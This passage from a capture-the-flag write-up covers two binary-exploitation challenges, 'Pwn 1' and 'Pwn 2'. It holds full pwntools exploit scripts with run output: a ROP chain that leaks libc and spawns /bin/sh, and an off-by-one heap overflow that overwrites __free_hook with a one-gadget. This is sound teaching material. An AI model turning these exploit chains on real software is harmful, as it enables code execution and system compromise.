<span class="n">v5</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="c1">// [rsp+20h] [rbp-80h]</span> <span class="kt">char</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+30h] [rbp-70h]</span> <span class="kt">int</span> <span class="n">j</span><span class="p">;</span> <span class="c1">// [rsp+98h] [rbp-8h]</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+9Ch] [rbp-4h]</span> <span class="n">v4</span> <span class="o">=</span> <span class="n">a3</span><span class="p">;</span> <span class="n">MD5_Init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v6</span><span class="p">);</span> <span class="n">MD5_Update</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v6</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span> <span class="n">MD5_Final</span><span class="p">(</span><span class="n">v5</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v6</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%02x"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v5</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">j</span> <span class="o">+</span> <span class="n">v4</span><span class="p">)</span> <span class="o">!=</span> <span class="n">v5</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1LL</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <ul> <li> <p>Since only the first two bytes of the hash are checked we can try to bruteforce it</p> </li> <li> <p>We’re gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln</p> </li> <li> <p>Now we know the addresses of functions and strings from libc in memory</p> </li> <li> <p>We’re gonna trigger the vulnerability a second time to hijack the execution to <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code></p> </li> </ul> <h3 id="exploit">Exploit</h3> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">brute_payload</span><span class="p">(</span><span class="n">proof</span><span class="p">,</span> <span class="n">pay</span><span class="p">):</span> <span class="k">def</span> <span class="nf">md5</span><span class="p">(</span><span class="n">data</span><span class="p">):</span> <span class="kn">import</span> <span class="nn">hashlib</span> <span class="n">m</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">()</span> <span class="n">m</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="k">return</span> <span class="n">m</span><span class="p">.</span><span class="n">hexdigest</span><span class="p">().</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">pay2</span> <span class="o">=</span> <span class="p">(</span><span class="n">pay</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">))[:</span><span class="mi">128</span><span class="p">]</span> <span class="n">h</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">pay2</span><span class="p">)</span> <span class="k">if</span> <span class="n">proof</span><span class="p">[:</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="n">h</span><span class="p">[:</span><span class="mi">4</span><span class="p">]:</span> <span class="k">return</span> <span class="n">pay2</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="kn">from</span> <span class="nn">pwnapi</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">log</span><span class="p">.</span><span class="n">level</span> <span class="o">=</span> <span class="mi">1</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./proof_of_pwn"</span><span class="p">)</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">getprocess</span><span class="p">()</span> <span class="n">proof</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"required proof: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">proof</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)))</span> <span class="n">rop</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">findgadgetbystr</span><span class="p">(</span><span class="s">"pop rdi;ret"</span><span class="p">))</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00400bed</span><span class="p">)</span> <span class="c1"># check function </span><span class="n">payload</span> <span class="o">=</span> <span class="n">brute_payload</span><span class="p">(</span><span class="n">proof</span><span class="p">,</span> <span class="n">fit</span><span class="p">({</span><span class="mi">72</span><span class="p">:</span><span class="n">rop</span><span class="p">}))</span> <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">b"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">b"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span> <span class="n">puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s">b"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="n">libc_base</span> <span class="o">=</span> <span class="n">puts</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span> <span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span> <span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">))</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"libc base: 0x{:x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"system: 0x{:x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">system</span><span class="p">))</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"binsh: 0x{:x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">binsh</span><span class="p">))</span> <span class="n">proof</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"required proof: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">proof</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)))</span> <span class="n">rop</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">findgadgetbystr</span><span class="p">(</span><span class="s">"pop rdi;ret"</span><span class="p">))</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">findgadgetbystr</span><span class="p">(</span><span class="s">"mov eax, 0;leave;ret"</span><span class="p">))</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">brute_payload</span><span class="p">(</span><span class="n">proof</span><span class="p">,</span> <span class="n">fit</span><span class="p">({</span><span class="mi">72</span><span class="p">:</span><span class="n">rop</span><span class="p">}))</span> <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">b": </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">b"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">b"cat flag.txt; exit"</span><span class="p">)</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"flag: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)))</span> <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> <h3 id="output-local-run">Output (local run)</h3> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python exploit.py [INFO]: Opening binary ./libc.so.6 ────────────────────────────────────────────────────────────────────────────── arch x86 bits 64 endian little os linux static False stripped True canary True nx True pic True relocs False sanitiz False ────────────────────────────────────────────────────────────────────────────── [INFO]: Opening binary ./proof_of_pwn ────────────────────────────────────────────────────────────────────────────── arch x86 bits 64 endian little os linux static False stripped True canary False nx True pic False relocs False sanitiz False ────────────────────────────────────────────────────────────────────────────── [INFO]: Process started with PID 17148 ./proof_of_pwn [INFO]: required proof: 289510e3b590959fb0b0177fe57612d3 [INFO]: libc base: 0x7f10f5e8e000 [INFO]: system: 0x7f10f5ed3390 [INFO]: binsh: 0x7f10f601ad57 [INFO]: required proof: b222d1572a57e35c7416ff32e234f90a [INFO]: flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp} [INFO]: Process 17148 exited with code -7 </code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{p00r_8rut3f0rc1ng_c4n_h3lp}</code></p> <h2 id="pwn-2">Pwn 2</h2> <p>We are given a binary with no PIE and full RELRO. The binary offers an augmented interface over the one for PWN 1:</p> <p>[DEBUG] &lt;– Binary compiled with debug prints and experimental functions –&gt;</p> <ol> <li>Mine a new block</li> <li>Edit transaction name</li> <li>Show transaction name</li> <li>Delete a block</li> <li>Edit hash [EXPERIMENTAL] Your choice:</li> </ol> <p>The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:</p> <ul> <li>224 contain the data we send, if we successfully pass the hash check above</li> <li>8 contain a pointer to the transaction name</li> <li>16 contain the hash itself</li> </ul> <p>The interface above gives us four useful primitives:</p> <p>P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer P.3) Modify the last 16 bytes of a buffer after it has been allocated P.4) Free on demand the allocated buffers</p> <p>On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:</p> <p>Proof your value! -&gt; d5abc3bc1ca8459d8ffef9c968b7308e [DEBUG] block is at 0x1221010</p> <p>Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">j</span> <span class="o">+</span> <span class="n">v4</span><span class="p">)</span> <span class="o">!=</span> <span class="n">v8</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The vulnerability lies in the “Edit hash” functionality and is a classic off-by-one NULL byte overflow:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">table</span><span class="p">[</span><span class="n">v0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">232LL</span><span class="p">),</span> <span class="mh">0x10uLL</span><span class="p">);</span> <span class="n">result</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">v0</span><span class="p">];</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">248</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> </code></pre></div></div> <p>Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the ‘size’ field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100). P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.</p> <p>Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of __free_hook with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.</p> <p>Let’s detail the steps for exploitation:</p> <p>1) Create enough dummy buffers until the allocator starts returning consecutive allocations (in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)</p> <p>2) Allocate three consecutive buffers that we’ll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we’ll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.</p> <p>3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.</p> <p>4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">96</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">buf2_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mi">80</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4141414141414141</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x140</span> <span class="o">|</span> <span class="mh">0x1</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">buf1_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="mi">88</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> </code></pre></div></div> <p>The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.</p> <p>Through P.3 the fake size (0x140) is written to ‘prev_size’ for B2, which also triggers the overflow:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4444444444444444</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x140</span><span class="p">)</span> </code></pre></div></div> <p>At this point, all the necessary fake structures are in place.</p> <p>5) Trigger the buffer coalesce by freeing B3</p> <p>6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.</p> <p>7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, ‘puts’ is selected.</p> <p>8) Use P.2 through B1 to read the address in the GOT and extract the libc base</p> <p>9) Free B5 and reallocate it. In this case, in the payload, store at B5 + 32 the address of __free_hook.</p> <p>10) Use P.2 through B1 to write to __free_hook the address of the libc one-gadget</p> <p>11) Use P.4 over the dummy buffer allocated at the start to trigger the shell and enjoying the party.</p> <p>Exploit (dirty python written by a C developer and gloriously uncommented) follows</p> <h3 id="exploit-1">Exploit</h3> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="k">def</span> <span class="nf">brute_payload</span><span class="p">(</span><span class="n">proof</span><span class="p">,</span> <span class="n">pay</span><span class="p">):</span> <span class="k">def</span> <span class="nf">md5</span><span class="p">(</span><span class="n">data</span><span class="p">):</span> <span class="kn">import</span> <span class="nn">hashlib</span> <span class="n">m</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">()</span> <span class="n">m</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="k">return</span> <span class="n">m</span><span class="p">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">pay2</span> <span class="o">=</span> <span class="p">(</span><span class="n">pay</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">224</span><span class="p">)</span> <span class="n">h</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">pay2</span><span class="p">)</span> <span class="k">if</span> <span class="n">proof</span><span class="p">[:</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="n">h</span><span class="p">[:</span><span class="mi">2</span><span class="p">]:</span> <span class="k">return</span> <span class="n">pay2</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">def</span> <span class="nf">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">):</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">4</span><span class="p">)</span> <span class="k">def</span> <span class="nf">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="o">=</span><span class="s">'aaa'</span><span class="p">,</span> <span class="n">tname</span><span class="o">=</span><span class="s">'dummy'</span><span class="p">):</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span> <span class="n">md5_line</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">good_payload</span> <span class="o">=</span> <span class="n">brute_payload</span><span class="p">(</span><span class="n">md5_line</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">good_payload</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">tname</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"buffer allocated at 0x{:x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">addr</span><span class="p">))</span> <span class="k">return</span> <span class="n">addr</span> <span class="k">def</span> <span class="nf">free_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="nb">id</span><span class="p">):</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"4"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">id</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"buffer {} freed"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">id</span><span class="p">))</span> <span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"INFO"</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="s">"./proof_of_pown2"</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span> <span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span><span class="p">.</span><span class="n">path</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc.so.6"</span><span class="p">})</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="c1">#alloc dummy buffer </span><span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="c1"># alloc starting buffer </span><span class="n">buf1_addr</span> <span class="o">=</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="c1">#alloc attack buffer </span><span class="n">buf2_addr</span> <span class="o">=</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="c1">#alloc victim buffer </span><span class="n">buf3_addr</span> <span class="o">=</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="c1">#prevent topchunk messing </span><span class="n">buf4_addr</span> <span class="o">=</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">free_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">96</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">buf2_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mi">80</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4141414141414141</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x140</span> <span class="o">|</span> <span class="mh">0x1</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">buf1_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="mi">88</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4444444444444444</span><span class="p">)</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x140</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="n">recvd_buffer</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="n">free_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="s">"3"</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4444444444444444</span><span class="p">)</span><span class="o">*</span><span class="mi">4</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601f80</span><span class="p">)</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"name: "</span><span class="p">)</span> <span class="n">aslr_puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">)[:</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span><span class="o">+</span><span class="s">"</span><span class="se">\x00\x00</span><span class="s">"</span><span class="p">)</span> <span class="n">libc_base</span> <span class="o">=</span> <span class="n">aslr_puts</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span> <span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"puts at: %x"</span> <span class="o">%</span> <span class="n">aslr_puts</span><span class="p">)</span> <span class="n">log</span><span 